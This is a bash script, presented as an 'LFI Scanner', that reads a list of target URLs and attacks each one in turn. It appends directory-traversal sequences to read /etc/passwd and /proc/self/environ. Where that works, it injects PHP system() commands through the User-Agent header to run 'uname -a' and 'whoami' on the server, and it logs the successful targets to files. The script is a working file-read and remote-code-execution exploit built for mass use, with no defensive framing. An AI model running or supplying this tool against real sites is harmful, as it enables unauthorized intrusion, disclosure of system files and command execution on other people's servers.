#!/bin/bash

clear

cyan='\e[36m'
GR='\e[34m'
OG='\e[92m'
WH='\e[37m'
RD='\e[31m'
YL='\e[33m'
BF='\e[34m'
DF='\e[39m'
OR='\e[93m'
PP='\e[91m'
B='\e[1m'
CC='\e[0m'

banner(){
	cat << "EOF"
		 ____   ____ ___  ____  _____   _   _ _____ _____
		| __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
		|  _ \| |  | | | | | | |  _|   |  \| |  _|   | |
		| |_) | |__| |_| | |_| | |___ _| |\  | |___  | |
		|____/ \____\___/|____/|_____(_)_| \_|_____| |_|

			LFI Scanner
			Monkey B Luffy | [email protected]

EOF
}

cek(){
	website=$1
	printf "${WH}[+] Checking /etc/passwd ... "
	cek_passwd=$(curl -s "${website}../../../../../../../../../../etc/passwd" -L)
	if [[ $cek_passwd =~ "/bin/bash" ]]; then
		printf "${OG} Vuln\n"
		printf "${WH}[+] Checking /proc/self/environ ... "
		cek_proc=$(curl -s "${website}../../../../../../../../../../proc/self/environ" -L)
		if [[ $cek_proc =~ "HTTP_USER_AGENT" ]]; then
			printf "${OG}Execute\n"
			printf "${WH}[+] Try Exec ... "
			cek_exec=$(curl -s -A "<?php system(\"uname -a\"); ?>" "${website}../../../../../../../../../../proc/self/environ" -L)
			if [[ $cek_exec =~ "Linux" ]]; then
				printf "${OG}Success\n"
				echo "${website}../../../../../../../../../../proc/self/environ" >> Vuln-execute.txt
				whoami=$(curl -s -A "<?php system(\"whoami\"); ?>" "${website}../../../../../../../../../../proc/self/environ" -L)
				who_am_i=$(echo $whoami | grep -Po "(?<=HTTP_USER_AGENT=)[^ ]*")
				printf "    ${OR}Whoami => ${OG}${who_am_i}\n\n"
				echo "    Whoami => ${who_am_i}" >> Vuln-execute.txt
				echo "=====================================" >> Vuln-execute.txt
			else
				printf "${PP}Failed\n"
				printf "    ${OG}You can try manual\n\n"
				echo "${website}../../../../../../../../../../proc/self/environ" >> Vuln-procself.txt
			fi
		else
			printf "${PP}Not Execute\n\n"
			echo "${website}../../../../../../../../../../etc/passwd" >> Vuln-passwd.txt
		fi
	else
		printf "${PP}Not Vuln\n\n"
		echo "${website}" >> NOT-VULN.txt
	fi

}

if [ -z $1 ]; then
	banner
printf "		Usage : $0 <list.txt>\n"
printf "		Url example (in list) = http://target.com/index.php?page=\n\n"
	exit 1
fi
banner

for link in $(cat $1); do
	short=$(echo ${link} | grep -Po '(?<=://)[^/]*')
	printf "${B}${WH}Target : ${YL}http://${short} \n"
	cek ${link}
done